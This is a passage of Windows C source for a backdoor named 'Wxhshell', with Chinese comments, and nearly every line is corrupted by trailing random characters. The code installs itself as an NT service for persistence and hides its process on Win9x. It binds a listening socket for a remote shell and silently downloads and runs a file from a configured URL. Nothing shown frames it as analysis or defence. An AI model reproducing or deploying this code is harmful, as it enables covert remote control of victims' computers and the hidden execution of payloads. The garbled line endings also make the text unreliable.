DWORD AffinityMask; ]JjK#eh
DWORD BasePriority; :l,OalO
ULONG UniqueProcessId; h^oH^moq<
ULONG InheritedFromUniqueProcessId; #.ct5
} PROCESS_BASIC_INFORMATION; } ptMjT{9
LjaGyj>)
PROCNTQSIP NtQueryInformationProcess; UTCzHh1
,l HLH
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {)@D`{$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m`6VKp{YD
exDkq0u]
HANDLE hProcess; qu~X.pW
PROCESS_BASIC_INFORMATION pbi; zizk7<?L.
lY'N4x7n
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rk|@B{CA;
if(NULL == hInst ) return 0; Zx{96G+1
bik*ZC?E
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >(3\kiYS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T8XY fcc*h
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U
O<:.6"
g97]Y1g
if (!NtQueryInformationProcess) return 0; f:woP7FP
S1bAu
<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *Zbuq8>
if(!hProcess) return 0; G[Tl%w
cozXb$bBY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _xrwu;o0}
B,vOsa"x6`
CloseHandle(hProcess); )TJS4?
2e1]}wlK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 27D!'S
if(hProcess==NULL) return 0; _A+w#kiv>
4=[7Em?oLb
HMODULE hMod; x /mp=
char procName[255]; {0v*xL_O^
unsigned long cbNeeded;
bwiD$
E(^0B(JF
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v]"L]/"
KE}H&1PjU
CloseHandle(hProcess); #sB,1"
edvFQ#,d
if(strstr(procName,"services")) return 1; // 以服务启动 7J*N_8?2
?+2b(2&MXE
return 0; // 注册表启动 g(hOg~S\E
} '#\1uXM1U?
h<6UC%'ac
// 主模块 2/7_;_#vJ%
int StartWxhshell(LPSTR lpCmdLine) h7yqk4'Lq
{ Ev9> @~^
SOCKET wsl; $uh z
BOOL val=TRUE; OCV+h'
int port=0; 9YN?
struct sockaddr_in door; e8P-k3a"5:
.Zmp ,
if(wscfg.ws_autoins) Install(); \7v)iG|#G&
QM<y`cZ8
port=atoi(lpCmdLine); .Y*f2A.v
},@^0UH4c
if(port<=0) port=wscfg.ws_port; Ykqyk')wm
bzZ>lyH
WSADATA data; y$W|~ H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
V@vU"
)3A{GZj#6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BiwieF4x
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !mJo'K
door.sin_family = AF_INET; X/0v'N
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4QHS{tj
door.sin_port = htons(port); ,h]o>
'UU\4M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e}yX_Z'P<
closesocket(wsl); Vw{*P2v)
return 1; g);^NAA
} 0?DC00O
EbY,N:LK
if(listen(wsl,2) == INVALID_SOCKET) { 'gMfN
closesocket(wsl); ,&^3Z
return 1; ,)FdRRj
} aA'TD:&p1
Wxhshell(wsl); s5&@Cxzl
WSACleanup(); #*%q'gyHT
tY|8s]{2
return 0; ~x:DXEV,
G}d-(X
} m#!=3P7T
p#P~Q/;
// 以NT服务方式启动 |N /G'>TS
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BU Z
_)
{ H^%lDz
DWORD status = 0; Z.PBu|Kx
DWORD specificError = 0xfffffff; *fMpZ+;[m
AyKMhac
serviceStatus.dwServiceType = SERVICE_WIN32; NAC_pM&B
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fwR_OB:$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7[#yu 2
serviceStatus.dwWin32ExitCode = 0; A^ \.Z4=d"
serviceStatus.dwServiceSpecificExitCode = 0; 4u;9J*r4
serviceStatus.dwCheckPoint = 0; Kv&g5&N,
serviceStatus.dwWaitHint = 0; CY:d`4
\nNXxTxX!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dihjpI_
if (hServiceStatusHandle==0) return; }yn0IWVa
kRJ4-n^@><
status = GetLastError(); g=L]S-e
if (status!=NO_ERROR) 56lCwXCgA
{ DOS0;^f
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0|4%4Mt
serviceStatus.dwCheckPoint = 0; &)d$t'7p
serviceStatus.dwWaitHint = 0; VosZJv=
serviceStatus.dwWin32ExitCode = status; DTRJ/@t
serviceStatus.dwServiceSpecificExitCode = specificError; \>. LW9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "ww|&-W9
return; '@|_OmcY
} I=)hWC/
p9!"O
serviceStatus.dwCurrentState = SERVICE_RUNNING; N?Q+>
serviceStatus.dwCheckPoint = 0; HAz By\M{
serviceStatus.dwWaitHint = 0; Fxs;Fp
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'NjzgZ~]P
} !LMN[3M_
Yf,K#' h:
// 处理NT服务事件,比如:启动、停止 3981ie
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5^<h}u9
{ QfM zF
switch(fdwControl) 5@IB39
{ !)"%),>}o
case SERVICE_CONTROL_STOP: 94uNI8
serviceStatus.dwWin32ExitCode = 0; mYN7kYR}<`
serviceStatus.dwCurrentState = SERVICE_STOPPED; V]OmfPve
serviceStatus.dwCheckPoint = 0; :o-,SrORM
serviceStatus.dwWaitHint = 0; *K!|@h{60
{ +CH},@j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U@ ?LP
} G@FI0\t
return; k(>h^
case SERVICE_CONTROL_PAUSE: fqX"Lus `=
serviceStatus.dwCurrentState = SERVICE_PAUSED; sIG7S"k>p
break; ?&G`{Ey
case SERVICE_CONTROL_CONTINUE: 4'j
sDcs
serviceStatus.dwCurrentState = SERVICE_RUNNING; n~"$^Vr
break; <~}7Mxn%x@
case SERVICE_CONTROL_INTERROGATE: FMNm,O]
break; fx=Awba
}; ,g-EW
jN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rk+#GO{
} ~7~~S*EQ
](tx<3h
// 标准应用程序主函数 {2/LRPT
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <DKS+R
{ m }a|FS
q"O.Cbk
// 获取操作系统版本 />¬$>
OsIsNt=GetOsVer(); B]m@:|Q
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4c
oJRqf=
0&qr
// 从命令行安装 GoA4f3
if(strpbrk(lpCmdLine,"iI")) Install(); 5>3}_
d(vsE%/!
// 下载执行文件 EXP%Mk/
if(wscfg.ws_downexe) { {Q+gZcu
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )1N 54FNO
WinExec(wscfg.ws_filenam,SW_HIDE); ul%h@=n
} QK0h6CX
vS\%3A4^+5
if(!OsIsNt) { TG}*5Z`
// 如果时win9x,隐藏进程并且设置为注册表启动 0TfS=scT
HideProc(); ;^*Unyt[4]
StartWxhshell(lpCmdLine); 4h@Z/G!T3
} /9o!*K
else JnHo 9K2.
if(StartFromService()) !d<"nx[2`
// 以服务方式启动 k(zsm"<q
StartServiceCtrlDispatcher(DispatchTable); ?9l [y
else O: @}lK+H
// 普通方式启动 m(], r})
StartWxhshell(lpCmdLine); -':Y\:W
Hzrtlet
return 0; ;a-$D]Db
}